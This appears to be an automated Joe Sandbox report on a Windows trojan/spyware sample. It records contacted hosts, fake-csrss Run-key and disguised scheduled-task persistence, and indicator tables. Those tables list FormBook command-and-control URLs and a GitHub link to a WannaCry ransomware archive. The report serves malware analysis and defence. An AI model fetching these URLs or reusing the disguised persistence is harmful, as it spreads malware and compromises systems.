198.54.122.240	mx1.privateemail.com	United States	22612	NAMECHEAP-NETUS	false
13.248.169.48	filmboxstudios.com	United States	16509	AMAZON-02US	true
64.182.43.254	dialcast-254.paloaltodatacenter.net	United States	54489	CORESPACE-DALUS	true
179.25.0.220	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	true
83.98.155.23	a2b-internet.com	Netherlands	30870	TRANS-IX-ASTrans-iXAutonomousSystemNL	true
217.70.184.38	plastikolor.com	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
195.145.184.85	smtp1.rehau.com	Germany	3320	DTAGInternetserviceprovideroperationsDE	true
216.40.47.17	theseekerchurch.com	Canada	15348	TUCOWSCA	true
104.21.20.204	majormega.com	United States	13335	CLOUDFLARENETUS	true
66.96.140.164	unknown	United States	29873	BIZLAND-SDUS	true
52.101.68.3	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
96.45.112.177	texasopendoor.com	United States	13649	ASN-VINSUS	true
66.96.140.165	mx.ads-ecuador.com	United States	29873	BIZLAND-SDUS	true
104.47.73.138	texasopendoor-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
192.185.100.42	conalcorp.com	United States	46606	UNIFIEDLAYER-AS-1US	false
185.196.8.22	csaaqcu.net	Switzerland	34888	SIMPLECARRER2IT	false
104.47.75.164	orangutech-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
205.178.189.129	www.engelgau.net	United States	55002	DEFENSE-NETUS	true
104.47.55.138	atelcommunications-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
35.165.242.85	unknown	United States	16509	AMAZON-02US	true
91.213.13.233	mx1.masav.eu	Netherlands	51088	A2BNL	true
199.60.103.2	group24.sites.hscoscdn20.net	Canada	23181	QUICKSILVER1CA	true
91.213.13.231	unknown	Netherlands	51088	A2BNL	false
104.47.59.138	conalcorp-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
65.8.178.81	d1zs52ysiil3fl.cloudfront.net	United States	16509	AMAZON-02US	false
192.121.44.26	unknown	Sweden	29518	BREDBAND2SE	false
46.20.35.112	unknown	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
15.197.142.173	pricklypearworks.com	United States	7430	TANDEMUS	true
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	false
164.90.197.162	mx156.hostedmxserver.com	United States	14061	DIGITALOCEAN-ASNUS	true
208.113.220.170	thomchick.net	United States	26347	DREAMHOST-ASUS	true
95.128.72.24	meurrens.org	France	31178	CELEONETFR	true
104.26.7.37	www.hugedomains.com	United States	13335	CLOUDFLARENETUS	false
185.230.63.171	u90soccercenter.com	Israel	58182	WIX_COMIL	true
104.21.81.99	breakfastchanneljw.fun	United States	13335	CLOUDFLARENETUS	true
176.74.27.137	mail.ecochild.com.au	United Kingdom	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	true
172.67.168.30	cream.hitsturbo.com	United States	13335	CLOUDFLARENETUS	true
209.85.202.27	aspmx3.googlemail.com	United States	15169	GOOGLEUS	false
209.85.202.26	alt2.aspmx.l.google.com	United States	15169	GOOGLEUS	false
148.163.129.51	mx2-us1.ppe-hosted.com	United States	13916	PROOFPOINT-UT7US	true
217.160.0.195	eurobay-mk.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
192.64.119.142	hildebrandlegacy.org	United States	22612	NAMECHEAP-NETUS	false
41.203.27.92	the-i-junction.com	South Africa	37153	xneeloZA	true
69.49.101.57	ftp.jgarch.com	United States	14116	INFB-ASUS	true
185.103.16.167	mail.mgbymags.com	Netherlands	39704	CJ2-ASNL	true
76.223.54.146	unknown	United States	16509	AMAZON-02US	true
104.47.66.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.94.41.167	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	true
216.239.32.21	collinsgordonhenry.com	United States	15169	GOOGLEUS	false
67.152.113.12	riovista.net	United States	2828	XO-AS15US	true
104.21.18.123	unknown	United States	13335	CLOUDFLARENETUS	true
142.250.27.26	aspmx5.googlemail.com	United States	15169	GOOGLEUS	false
95.173.180.22	london.com.tr	Turkey	51559	NETINTERNETNetinternetBilisimTeknolojileriASTR	true
54.69.113.134	atelcommunications.com	United States	16509	AMAZON-02US	true
66.96.140.50	mx.theseekerchurch.com	United States	29873	BIZLAND-SDUS	true
104.47.75.228	ontariobluejays-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.163.227.170	go.active3d.dev	United States	32475	SINGLEHOP-LLCUS	true
45.56.74.212	iconcap.com	United States	63949	LINODE-APLinodeLLCUS	true
172.67.181.211	entexclusives.com	United States	13335	CLOUDFLARENETUS	false
162.255.119.149	soytijuana.com	United States	22612	NAMECHEAP-NETUS	true
142.250.217.211	ghs.google.com	United States	15169	GOOGLEUS	false
38.47.221.193	unknown	United States	174	COGENT-174US	true
209.126.24.60	horsetech.com	United States	36444	NEXCESS-NETUS	true
3.33.130.190	lsmnutrition.com	United States	8987	AMAZONEXPANSIONGB	true
64.92.112.83	maatinus.com	United States	21777	MASSIVE-NETWORKSUS	true
104.198.2.251	snukerukeutit.org	United States	15169	GOOGLEUS	false
187.134.52.10	humydrole.com	Mexico	8151	UninetSAdeCVMX	true
154.209.61.218	ftp.directservbms.com	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
103.20.214.243	ftp.bookmyrace.com	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	true
64.250.92.220	ontariobluejays.com	Canada	33130	IASLCA	true
162.215.248.33	shared67.accountservergroup.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
185.230.63.107	newriverclimbing.com	Israel	58182	WIX_COMIL	true
44.229.66.233	mx1.mailchannels.net	United States	16509	AMAZON-02US	false
198.185.159.145	carisfoundation.org	United States	53831	SQUARESPACEUS	false
52.101.40.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1364886
Start date and time:	2023-12-20 03:11:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3yPvcmrbqS.exe renamed because original name is a hash value
Original Sample Name:	2a51b5604558e19c4e2e1be37212624a.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@75/1096@1204/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 104.86.164.254, 52.182.143.212
Excluded domains from analysis (whitelisted): www.rehau.com.edgekey.net, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, e6835.a.akamaiedge.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:12:16	Task Scheduler	Run new task: Firefox Default Browser Agent 2DDCBD474AB5A2B5 path: C:\Users\user\AppData\Roaming\uiedafw
02:12:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
02:12:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
02:13:09	Task Scheduler	Run new task: Firefox Default Browser Agent BEC7379DE5F8F986 path: C:\Users\user\AppData\Roaming\wwedafw
03:12:00	API Interceptor	180045x Sleep call for process: explorer.exe modified
03:12:49	API Interceptor	7x Sleep call for process: A0FE.exe modified
03:12:51	API Interceptor	60x Sleep call for process: 7B24.exe modified
03:13:03	API Interceptor	15x Sleep call for process: powershell.exe modified
03:13:19	API Interceptor	9x Sleep call for process: 5316.exe modified
03:13:25	API Interceptor	18647x Sleep call for process: csrss.exe modified
03:13:37	API Interceptor	5497x Sleep call for process: VBPlayerLIB.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
95.216.227.177	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse
	GarEwUZuLO.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen22.40888.11234.29256.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40889.29955.30055.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40920.19202.199.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	Ahn3lzq3wm.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	rpmOhktwoL.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc	Browse
	SecuriteInfo.com.Trojan.Siggen22.39556.7523.31477.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.39558.23845.21378.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.39556.27057.11759.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.29504.20248.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.20129.18767.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.20129.18767.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.10869.31354.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.18348.18420.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.26646.24282.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
188.165.47.122	FF31wbBGY2.exe	Get hash	malicious	Raccoon SmokeLoader Tofsee Xmrig	Browse
188.165.47.122	La60esvnOK.exe	Get hash	malicious	Raccoon SmokeLoader Tofsee Vidar Xmrig	Browse
217.76.128.47	SLIP-full_amount-50006654455339877322346689377782.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/ds0w/?cfc=GvfKMO3w5h2unavLVNCNRLPkEub5RT9LyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Y10nkSPTLelnyZEg==&ZF=ofjH6x6p
	SLIP-full_amount-50006654455339877322346689377782.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/ds0w/?hvYXk=zL0XG630ZDs8opqp&xNz8mfy=GvfKMO3w5h2unavIatDYSYn/AseeGglLyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Yo+ARXFFf4y0PNWA==
	ungziped_file.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.patrics.online/gc3h/?Ix1dK=W04ySi/PZS06/i/MxttDzH1vWmhgux/vjCELHnPWMHQQUXF1fYX66sI9DKCP2ZDvmnZcPSmTz1BsdOnIfo9cC8kk6tkkS4lSxOSOOwaLR9Bu&NPf=9nmtTpQpeNO4_B
	Order_N#U00b0_202200027.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.labaladadefelurian.com/nqb5/?rBMt2=ZR7u1sKRD+kKyS3MGSRCE2QROL5UUWYABN91YXCeVhPbFph0zoqO0OuBET7ViCnSliDe1mdGBLksiH8jHsmOlGVnL10Z/HNBUg==&adI=vDi4
	LAMHgZs8AETIC8S.exe	Get hash	malicious	FormBook	Browse	www.labaladadefelurian.com/a25b/?0J=GDws2SquHIVT4Ol+VMYHC5Q0UXQjtyV/kl0wYTzuhBLUhavMoBLLqCd5V3z/CTHDLVwKf9Gst3HR/boYkGWusE6MiJKWns/Wyw==&Bz=yNfPhDrpzpcd2Ha0
	BOMXsVEMOYKKUa.exe	Get hash	malicious	FormBook, zgRAT	Browse	www.labaladadefelurian.com/a25b/?bBM=GDws2SquHIVT4Ol+VMYHC5Q0UXQjtyV/kl0wYTzuhBLUhavMoBLLqCd5V3z/CTHDLVwKf9Gst3HR/boYkGWupAyWsbiTmNbS0A==&TZd=vHrdMzixht7ts2
	REF_NEW_KSA-DUBAI_PROJECT_RFQ_DETAILS_#5688QM-988765RQ-ESPRIUS-DES-MWQTR.exe	Get hash	malicious	FormBook, zgRAT	Browse	www.patrics.online/ds0w/?AvQt5vKP=GvfKMO3w5h2unavIatDYSYn/AseeGglLyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Yo+ARXFFf4y0PNWA==&BdzL=vVVTrRFHSzB
	PARA_SWIFT.exe	Get hash	malicious	FormBook, zgRAT	Browse	www.labaladadefelurian.com/iskm/?bZ=BsCizAvH+Q6Gubkoihh9Rdly/NJqvtZmbhwxdNY9rowlXcMIU/SNVQch1ZOpZF6PjM9zMyBGOgxGUiEeIoG4gNFQ6Ar8lt+f4Q==&-z3t0=6VtT_NhhHtW4uBo
	NEW_KSA-DUBAI_PROJECT_RFQ_DETAILS_#5688QM-988765RQ-ESPRIUS-DES-MWQTRMK.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/ds0w/?uXrT=GvfKMO3w5h2unavIatDYSYn/AseeGglLyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Yo9HpLQDb4k0HnBK6MVL8h83B5&iD4tG=gbPdCdtxw
	NEW_KSA-DUBAI_PROJECT_RFQ_DETAILS_#5688QM-988765RQ-ESPRIUS-DES-MWQTRRM.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/ds0w/?XTZtoT=GvfKMO3w5h2unavLVNCNRLPkEub5RT9LyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Y10nkSPTLelnyZEg==&aB=OfQTy
	PO_08048XT.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/oefh/?hv=NPy4S&i21=Fw0QqXPNGo+AFv+K/5UosTS8AnKC9rXcyS80jPYj14Fl+tBA5dfW2kb1vuYRNOV7m4rnCUlnfu1AgkGVESaEe561PmV8x5/9Nw==
	OUR_RFQ_DETAILS.exe	Get hash	malicious	FormBook	Browse	www.patrics.online/ds0w/?4F=XjpXWpmP&5pPd6=GvfKMO3w5h2unavIatDYSYn/AseeGglLyhcwffTcHA38c8JvjMVhcaeSOS2nSYc9x1n9f2nZ89hEJ/pKe1Yo9HpLQDb4k0HnBK6MVL8h83B5
	Mnp10GPUmthweWl.exe	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/cw88/?W0Ph22=+1/YrMOs7EKQIfJdgfsdc2X/ZJTQSSk8NPUBMnfIHpwuRpAsFRDe7dv0+2T3UzvN/POupCO893QvMC//0RjpLphzNOQaJEfnKw==&IH=JXiLf
	Bank_receipt.exe	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/cw88/?fNG46br=+1/YrMOs7EKQIfJes/tTaFPWXtSjVVY8NPUBMnfIHpwuRpAsFRDe7dv0+2T3UzvN/POupCO893QvMC//0RjsBOcqaI84PmiJLg==&pbSp=EN5XenmHmjp
	8YR4efs2RpFwopI.exe	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/cw88/?9Lm=+1/YrMOs7EKQIfJes/tTaFPWXtSjVVY8NPUBMnfIHpwuRpAsFRDe7dv0+2T3UzvN/POupCO893QvMC//0RjsBOcqaI84PmiJLg==&y2i=vLUd-L
	Purchase_Order_1021234.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.dulcestipicos.madrid/re5q/?hpZTh=H0b5ke6dV3RBY4NeW7mx2Gtd9fwoGttEEzMY+77ITnsGpa/pumg0m8HiIJjZrzwB+nUqpoK4qVCsrGZ5mbh3tK0jQHayLPf7bw==&_dspz=cFv8vzExQX
	vDXkQEbxeQ.exe	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/oqhk/?kDEhipYx=/ThYvMNrvRucvt4W70xBtsykX8B68+NW1h5dNoGQzRAGxYBOFkp+vdn2/by2LtWOXngfeU5ueobaRb/EcZlq88nF7lurCryYBA==&M01x=UlydgdiP
	PO_4501283529.xls	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/oqhk/?L44pe6=/ThYvMNrvRucvt4JnFBRtb2rdZgfqNVW1h5dNoGQzRAGxYBOFkp+4ID6/OO1Kr6OXXhhFgVnaqvWabuxf6IK+9/X/k+VD5DaOsR6hBg=&_le4=rzhdyZOp9Ljl
	PO_4501289523.xls	Get hash	malicious	FormBook	Browse	www.dulcestipicos.madrid/oqhk/?3D=/ThYvMNrvRucvt4JnFBRtb2rdZgfqNVW1h5dNoGQzRAGxYBOFkp+4ID6/OO1Kr6OXXhhFgVnaqvWabuxf6IK+9/X/k+VD5DaOsR6hBg=&8hUdz=TNRhNLp84
	doc_Quanon_62_10-6_pdf.exe	Get hash	malicious	FormBook	Browse	www.escuelawakana.com/eg02/?vPGt=lhL0HDJX_jKdNbq&ATj8XTu=T7Kj0UYk/kRTfUVq9+Y70rs1lURiL9nsDeguSnMbPbIJODS/i3m5b2pFB4Dd2TjWYvh/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	91.195.240.19
	BANK_MT103_PAYMENT.doc	Get hash	malicious	FormBook	Browse	91.195.240.19
	3v9xc057e8.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	cNF4Mtqlwc.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	obizx.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	SecuriteInfo.com.Win32.PWSX-gen.20426.4566.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	CTM_REQUEST_USD12,400.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Payment_Copy_Eur22,000.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	ungziped_file.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	4500379220.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	mvJLQOpZDB.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Order_N#U00b0_202200027.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	LAMHgZs8AETIC8S.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	SecuriteInfo.com.Win32.PWSX-gen.8428.27403.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PdgJ01XGim.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Pepsico_LLC_RFQ_Information.xls	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	BOMXsVEMOYKKUa.exe	Get hash	malicious	FormBook, zgRAT	Browse	91.195.240.19
lightseinsteniki.org	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	34.143.166.163
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	34.143.166.163
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	107.178.223.183
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	34.143.166.163
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	K6DjJpNlzI.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	34.143.166.163
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	etNheGz9UQ.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
cream.hitsturbo.com	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	104.21.46.59
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	104.21.46.59
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	104.21.46.59
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	172.67.168.30
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	172.67.168.30
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	104.21.46.59
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	104.21.46.59

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	95.216.227.177
	https://sarirayaonline.com/kdnb/?95903981	Get hash	malicious	Unknown	Browse	188.40.169.203
	https://fst.oiu.edu.sd/1xz/?69423981	Get hash	malicious	Unknown	Browse	195.201.202.58
	Z5QHEmbGUQ.exe	Get hash	malicious	RedLine	Browse	94.130.51.115
	https://fst.oiu.edu.sd/1xz/?69423981	Get hash	malicious	Unknown	Browse	188.40.254.245
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	116.203.140.74
	4Xkm918HYC.exe	Get hash	malicious	RedLine, SectopRAT	Browse	94.130.51.115
	4Xkm918HYC.exe	Get hash	malicious	RedLine	Browse	94.130.51.115
	GarEwUZuLO.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	195.201.29.252
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	https://www.google.com/search?q=%22VAC+%26+OFFICIAL+MATCHMAKING%22	Get hash	malicious	Unknown	Browse	136.243.216.235
	02g7xDeBN5.exe	Get hash	malicious	RedLine, SectopRAT	Browse	94.130.51.115
	QE3ehUJ2VL.exe	Get hash	malicious	Stealc, Vidar	Browse	138.201.196.248
	https://tinyurl.com/4zsnub78/SubscribeClick?e7wr=lv4&rrfg3nks=jennifer.m.franklin@instaloan.com&vus2vbx=&d%20and%20two=background%20and%20two%20admirable%20uncles%20skipping%20to%20the%20beat	Get hash	malicious	Unknown	Browse	91.107.206.92
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	176.9.38.121
	nlUynYLVxE.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	5.75.147.113
	CTM_REQUEST_USD12,400.exe	Get hash	malicious	FormBook	Browse	136.243.50.232
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	5.161.194.135
OVHFR	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	54.36.112.239
	https://kergering.wordpress.com/special-giveaway/	Get hash	malicious	Unknown	Browse	158.69.254.144
	SecuriteInfo.com.Python.Stealer.1190.23622.5282.exe	Get hash	malicious	Creal Stealer	Browse	51.178.66.33
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	91.121.181.6
	General_Attachment.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	specifications.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	Cargo_details.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	Panama_Canal_Authority_Forms_TG.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	Voyage_Orders.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	Y3b5c7qTOT.exe	Get hash	malicious	Gurcu Stealer	Browse	192.99.44.107
	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zip	Get hash	malicious	Wannacry, Conti	Browse	178.32.136.221
	AO_XIANG_FZCO_Order.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	Pwkfigjfegkks.dll	Get hash	malicious	PikaBot	Browse	51.161.81.190
